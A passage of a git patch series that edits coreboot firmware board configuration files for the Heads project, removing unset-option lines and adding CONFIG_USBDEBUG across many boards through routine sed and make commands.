not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y - -# -# I/O mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 - -# -# Serial port base address = 0x3f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_RESOURCES is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_INTEL_ME is not set -# CONFIG_DEBUG_FUNC is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y From 38bd342475acb81ffc36aeeeefeddbb8d638d2e1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 13:40:38 -0400 Subject: [PATCH 174/619] coreboot configs: add CONFIG_COLLECT_TIMESTAMPS sed -i '/# CONFIG_COLLECT_TIMESTAMPS is not set/d' config/*.config Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 1 - config/coreboot-kgpe-d16_server.config | 1 - config/coreboot-kgpe-d16_workstation-usb_keyboard.config | 1 - config/coreboot-kgpe-d16_workstation.config | 1 - config/coreboot-t520-maximized.config | 1 - 5 files changed, 5 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 05c3c3ccd..dd7d051ac 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -1,5 +1,4 @@ CONFIG_USE_OPTION_TABLE=y -# CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index 40194ca91..97c374efb 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -1,5 +1,4 @@ CONFIG_USE_OPTION_TABLE=y -# CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 05c3c3ccd..dd7d051ac 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -1,5 +1,4 @@ CONFIG_USE_OPTION_TABLE=y -# CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 05c3c3ccd..dd7d051ac 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -1,5 +1,4 @@ CONFIG_USE_OPTION_TABLE=y -# CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 25a874a5e..3c1b5df4e 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -23,7 +23,6 @@ CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set -# CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_USE_BLOBS=y # CONFIG_USE_AMD_BLOBS is not set # CONFIG_USE_QC_BLOBS is not set From d44fe537313266427ab9d5994b72df561a42831b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 13:45:50 -0400 Subject: [PATCH 175/619] coreboot configs: add CONFIG_RESOURCE_ALLOCATION_TOP_DOWN sed -i '/# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set/d' config/*.config Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 1 - config/coreboot-nitropad-nv41.config | 1 - config/coreboot-p8z77-m_pro-tpm1.config | 1 - config/coreboot-qemu-tpm1.config | 1 - config/coreboot-qemu-tpm2.config | 1 - config/coreboot-t420-maximized.config | 1 - config/coreboot-t420.config | 1 - config/coreboot-t430-legacy-flash.config | 1 - config/coreboot-t430-legacy.config | 1 - config/coreboot-t430-maximized.config | 1 - config/coreboot-t440p.config | 1 - config/coreboot-t520-maximized.config | 1 - config/coreboot-t530-dgpu-maximized.config | 1 - config/coreboot-t530-maximized.config | 1 - config/coreboot-w530-dgpu-K1000m-maximized.config | 1 - config/coreboot-w530-dgpu-K2000m-maximized.config | 1 - config/coreboot-w530-maximized.config | 1 - config/coreboot-w541.config | 1 - config/coreboot-x220-maximized.config | 1 - config/coreboot-x220.config | 1 - config/coreboot-x230-legacy-flash.config | 1 - config/coreboot-x230-legacy.config | 1 - config/coreboot-x230-maximized-fhd_edp.config | 1 - config/coreboot-x230-maximized.config | 1 - config/coreboot-z220-cmt.config | 1 - 25 files changed, 25 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index e306cabb4..501a0d40b 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -23,7 +23,6 @@ CONFIG_INTEL_ME_DISABLED_HAP=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 55bd53260..acbdc0f21 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -24,7 +24,6 @@ CONFIG_INTEL_ME_DISABLED_HAP=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 51f30a3e6..084593692 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -432,7 +432,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 76ebbc2e8..a6218bfbc 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -19,7 +19,6 @@ CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 CONFIG_DRIVERS_PS2_KEYBOARD=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 26caf3e5c..6c2334f43 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -17,7 +17,6 @@ CONFIG_PCIEXP_COMMON_CLOCK=y # CONFIG_PCIEXP_HOTPLUG is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 CONFIG_DRIVERS_PS2_KEYBOARD=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index cffff029a..6ab98f5b4 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -22,7 +22,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index 05d9e4c5c..c70179cfe 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -447,7 +447,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index f44706ed5..589a356fd 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -426,7 +426,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_NO_DDR5=y CONFIG_NO_LPDDR4=y CONFIG_NO_DDR4=y diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index 03c569622..65c3ef1d0 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -435,7 +435,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 994b370f5..fca3630f2 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -22,7 +22,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index f79f70240..d22f8b3a9 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -19,7 +19,6 @@ CONFIG_HAVE_ME_BIN=y CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 3c1b5df4e..6cc2696a8 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -447,7 +447,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index 5b967a7f7..43521a9e8 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -490,7 +490,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 064777220..1050ab84e 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -21,7 +21,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index 604e8a84f..dba700f88 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -490,7 +490,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 34621f8d4..9fc42a0bb 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -490,7 +490,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 93e9a7f64..da3b0b238 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -21,7 +21,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 9d3421fc0..d8f6eba1c 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -20,7 +20,6 @@ CONFIG_HAVE_ME_BIN=y CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 636386507..c175fd35e 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -20,7 +20,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index 4434611d0..da3f623bd 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -448,7 +448,6 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_USE_DDR3=y # end of Devices diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 403fca940..fc2b1202c 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -24,7 +24,6 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 62b5a7ff6..b9a14bf4b 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -21,7 +21,6 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index bffc62579..d4f1bc114 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -23,7 +23,6 @@ CONFIG_HAVE_GBE_BIN=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y CONFIG_PAYLOAD_LINUX=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index fba4bdc2f..7757e2102 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -25,7 +25,6 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y # CONFIG_PCI_ALLOW_BUS_MASTER is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 8e2203651..8fb06cb57 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -24,7 +24,6 @@ CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y From 446c98a3f887347718d8ddcb1128a7429eb74646 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 13:52:24 -0400 Subject: [PATCH 176/619] coreboot configs: add CONFIG_USBDEBUG sed -i '$a CONFIG_USBDEBUG=y' config/coreboot-*.config grep -R CONFIG_COREBOOT_VERSION boards/ | awk -F "/" {'print $2'} | while read board; do if ! sudo make BOARD=$board coreboot.save_in_defconfig_format_in_place > /dev/null 2>&1; then echo $board failed;fi; done Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 1 + config/coreboot-kgpe-d16_server.config | 1 + config/coreboot-kgpe-d16_workstation-usb_keyboard.config | 1 + config/coreboot-kgpe-d16_workstation.config | 1 + config/coreboot-p8z77-m_pro-tpm1.config | 1 + config/coreboot-qemu-fbwhiptail-tpm1-hotp.config | 1 + config/coreboot-qemu-tpm1.config | 1 + config/coreboot-qemu-tpm2.config | 1 + config/coreboot-t420-maximized.config | 1 + config/coreboot-t420.config | 1 + config/coreboot-t430-legacy-flash.config | 1 + config/coreboot-t430-legacy.config | 1 + config/coreboot-t430-maximized.config | 1 + config/coreboot-t440p.config | 1 + config/coreboot-t520-maximized.config | 1 + config/coreboot-t530-dgpu-maximized.config | 1 + config/coreboot-t530-maximized.config | 1 + config/coreboot-w530-dgpu-K1000m-maximized.config | 1 + config/coreboot-w530-dgpu-K2000m-maximized.config | 1 + config/coreboot-w530-maximized.config | 1 + config/coreboot-w541.config | 1 + config/coreboot-x220-maximized.config | 1 + config/coreboot-x220.config | 1 + config/coreboot-x230-legacy-flash.config | 1 + config/coreboot-x230-legacy.config | 1 + config/coreboot-x230-maximized-fhd_edp.config | 1 + config/coreboot-x230-maximized.config | 1 + config/coreboot-z220-cmt.config | 1 + 28 files changed, 28 insertions(+) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index dd7d051ac..6668d2743 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -4,6 +4,7 @@ CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y # CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" CONFIG_COREBOOT_ROMSIZE_KB_16384=y diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index 97c374efb..43b857f32 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -4,6 +4,7 @@ CONFIG_VENDOR_ASUS=y CONFIG_UART_FOR_CONSOLE=1 CONFIG_BOARD_ASUS_KGPE_D16=y # CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_USBDEBUG=y CONFIG_DRIVERS_PS2_KEYBOARD=y 